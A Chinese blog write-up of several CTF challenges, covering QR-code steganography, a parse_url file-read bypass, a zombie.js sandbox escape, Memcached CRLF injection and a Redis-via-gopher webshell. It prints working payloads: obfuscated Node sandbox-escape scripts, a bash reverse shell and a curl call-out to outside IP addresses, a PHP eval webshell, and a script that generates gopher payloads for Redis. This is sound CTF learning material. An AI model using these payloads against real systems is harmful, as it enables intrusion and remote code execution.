前言
国庆休息八天,属实给我干无聊了,java也不想看那就复现一下赛题。。。
Misc
loopQR
解压发现是n张相同的图片,上次遇见这么多还是在批量扫描二维码。。
发现图片中是一个字符所以说明,这些图片会拼接成一个flag
上次学了如何扫描二维码中的信息,但不知道如何获得指定信道的信息
只能看看佬们的代码理解,还不太会使用
from PIL import Image
import numpy as np
import cv2
import qrcode
from pyzbar.pyzbar import decode
import os
path="C:\\Users\\c'x'k\\Desktop\\CTF\\研究生-华为杯\\loopQR\\"
images=os.listdir(path)
msg=""
for img_name in images: #这里是目录遍历
img=Image.open(path+img_name) #图片名的全路径
for i in range(4): #这里为什么进行四次循环
qr=np.zeros((86,86))
for h in range(0,86):
for w in range(0,86):
pixel=img.getpixel((w,h)) #获取指定坐标的rgb像素信息
lsb=pixel[i]#取RGB元组中第i个通道的值,其中i的取值范围为0~2,分别对应红、绿、蓝三个通道
if bin(lsb)[-1]=='1': #将lsb转换为二进制字符串。 获取二进制字符串的最后一位,即LSB
qr[h][w]=255 #将该像素点的值设为255,表示白色。
else:
qr[h][w]=0 #将该像素点的值设为0,表示黑色。
decode_objects=decode(qr) #这里是扫描二维码
if decode_objects:
print(decode_objects[0].data.decode('utf-8'),end="")
break
#遍历一张图片的每个像素点,提取出其RGB值中的LSB,如果LSB为1,则将QR码的对应像素点设为白色,否则设为黑色。这样就可以将一张图片转换为一个黑白的QR码矩阵,然后扫描二维码,获取其中的信息进行输出
easyeval
这是初始的源码,提示了dasdif.php所以我们要通过下面的readfile读取它
parse_url老php漏洞函数了
<?php
show_source(__FILE__);
#dasdif.php
$ysy=$_GET['ysy'];
$parts=parse_url($ysy)
if(empty($parts['host']) || $parts['host'] !='localhost'){
//都不满足,也就是 不为空 host等于本地
exit('error');
}
readfile($ysy);
?>
file://localhost/../../../../../var/www/html/dasdjf.php 绕过即可
获得rce的源码
呃呃呃直接,system(‘tac /f*’);即可
发现了一个神奇的姿势记录下来
echo `ls/`;//exec 以后如果有冗余就可以//注释
startschool
js的题可以仔细看看
main.js和bot.js
main.js负责接收用户传的数据,发送给bot.js
const zombie = require("zombie")//js第三方模块,很可疑
exports.visit = async function () {
const browser = new zombie ({
waitDuration: 5*1000,
localAddress: 0
})
browser.setCookie({ name: 'admin', domain: '127.0.0.1', path:'/', httpOnly: 'true'})// 指定cookie
browser.visit("http://127.0.0.1/view",function() {
console.log("Visited: ", "http://127.0.0.1/view")
})
}
接下来,创建了一个名为"browser"的zombie浏览器实例,并设置了两个属性:
"waitDuration"属性:表示等待时间,这里设置为5秒钟。
"localAddress"属性:表示本地IP地址,这里设置为0。
然后,通过"setCookie"方法设置了一个名为"admin"的cookie,该cookie的域名为"127.0.0.1",路径为"/",并且设置了"HttpOnly"属性为"true",表示该cookie只能通过HTTP协议访问。
最后,通过"visit"方法访问了"http://127.0.0.1/view"这个URL,并在控制台输出了"Visited: http://127.0.0.1/view"。这里使用了回调函数来处理页面访问完成后的操作。
猜测肯定就是zombie这个第三方模块的漏洞,直接搜zombie rce漏洞
https://blog.csdn.net/qq_60986212/article/details/123020871 找到这篇文章发现这个考点以前考过
<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>
或者 execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')
<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('curl http://114.116.119.253:7777').toString())")());</script>
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('ls / > data.html').toString())")());</script>
这一种通过题目的html来达到回显的效果,其他都可以直接反弹shell
Bad Memcached
考点:PHP Memcached的CRLF注入
又又又又是web✌出的题
<?php
highlight_file(__FILE__);
error_reporting(0);
$search=$_POST["search"];
$memcache = new Memcached();
$memcache->addServers(array(
array('memcached',11211)
));
function search($keyword){
global $memcache;
$v=$memcache->get($keyword);
var_dump($v);
}
class Meeeeeeeemcached{
public $key;
public function __construct()
{
echo "THis Memcached is Healthy";
}
public function __set($key, $value)
{
global $memcache;
$memcache->set($key, $value);
}
}
class Invokerrrrrrr{
public $vovo;
public $value="http://www.boogipop.com";
public $key="test";
public function __invoke()
{
$key="key".$this->key;
$this->vovo->$key=$this->value;
}
}
class SSSString{
public $xoxo;
public function __toString()
{
$xoxo=$this->xoxo;
$xoxo();
return 'invoke';
}
}
class Entrypoint{
public $zozo;
public function __destruct()
{
if(preg_match("/Welcome/",$this->zozo)){
die("Welcome");
}
}
}
if(isset($_POST['choice'])){
if($_POST['choice']==='search'){
search($search);
}
else if($_POST['choice']==='flag'){
if($memcache->get("flag")==='flag'){
//some hints are in /tmp/hint.txt
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
}
else{
exit("no auth");
}
}
else if($_POST['choice']==='unser'){
unserialize($_GET['popchain']);
}
else{
exit("input your choice");
}
}
?>
在pop链最后卡了一下(这里的key和value,我推测是invoke里面的 key和 this->value控制的,但是invoke里面的key又进行了拼接)
这里无疑 key和value必须都是flag 才能满足下面的东西
果然是这里的key变成了keyflag其他的都满足,
看完✌们的wp说是(不太理解还)
然后 /tmp/hint.txt直接访问会会的redis的密码,
if($memcache->get(“flag”)===’flag’){ 只要这个key通过搞成flag下面就是打redis绝对路径写入马即可
绝对路径写webshell
构造redis命令
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
转化成redis RESP协议的格式(RESP是redis服务器和本机之间交互的协议)、
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
因为本题种给出了redis的密码,所以需要加上auth
from urllib.parse import quote
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[1]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["auth boogipop_is_a_webdog",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%2420%0D%0Aboogipop_is_a_webdog%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
之后访问shell.php即可
简单描述一下Memcached
Windows系统种CRLF表示行的结束
Linux则以LF表示行的结束
<?php
$server = new \Memcached();
$server->addServer('localhost', 11211);//11211是默认端口
$token = $_GET['token'];
$server->set("wolf","poc") ;
echo "[token] = ";
var_dump($server->get("$token"));
echo "[wolf] = ";
var_dump($server->get("wolf"));
set key flags exptime bytes [noreply]
value
- key:键值 key-value 结构中的 key,用于查找缓存值。
- flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
- exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)。
- bytes:在缓存中存储的字节数。
- noreply(可选): 该参数告知服务器不需要返回数据。
- value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)。
例如如果我们要存储一个值
set snowwolf(key) 0(额外信息) 100(保留的时间长度) 4(字节数和下面value对应) //
wolf(value值)
STORED 结束标记
其实从这个例子我们就可以看出来,可以crlf执行但是会执行最后面的比如 get get会执行第二个get,get set 会执行第二个set
set snowwolf 0 900 4
wolf
STORED
get snowwolf
VALUE snowwolf 0 4
wolf
END
ERROR
get snowwolf%00%0D%0Aset%20snowwolf%200%20100%203%0D%0Aexp
END
ERROR
get snowwolf%00%0D%0Aget wolf
VALUE wolf 0 3
poc
END
那其实这道题可以直接通过这里get crlf注入即可
if ($_POST['choice'] === 'search') {//
search($search); //$search也是我们可控的
function search($keyword)
{
global $memcache;
$v = $memcache->get($keyword);
var_dump($v);
}
如果要用pop链子的话一个道理,后面的就看上面即可
参考文章:https://www.freebuf.com/vuls/328384.html
一个小秘密
解压出了一个乱码的 flag.txt然后010 看见PK,改后缀为zip继续解压
但不是这个
真正的是在docement.xml中
其实这里卡的地方就是不知道这是什么加密呀(还得是chatgpt)
然后base64获得flag
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。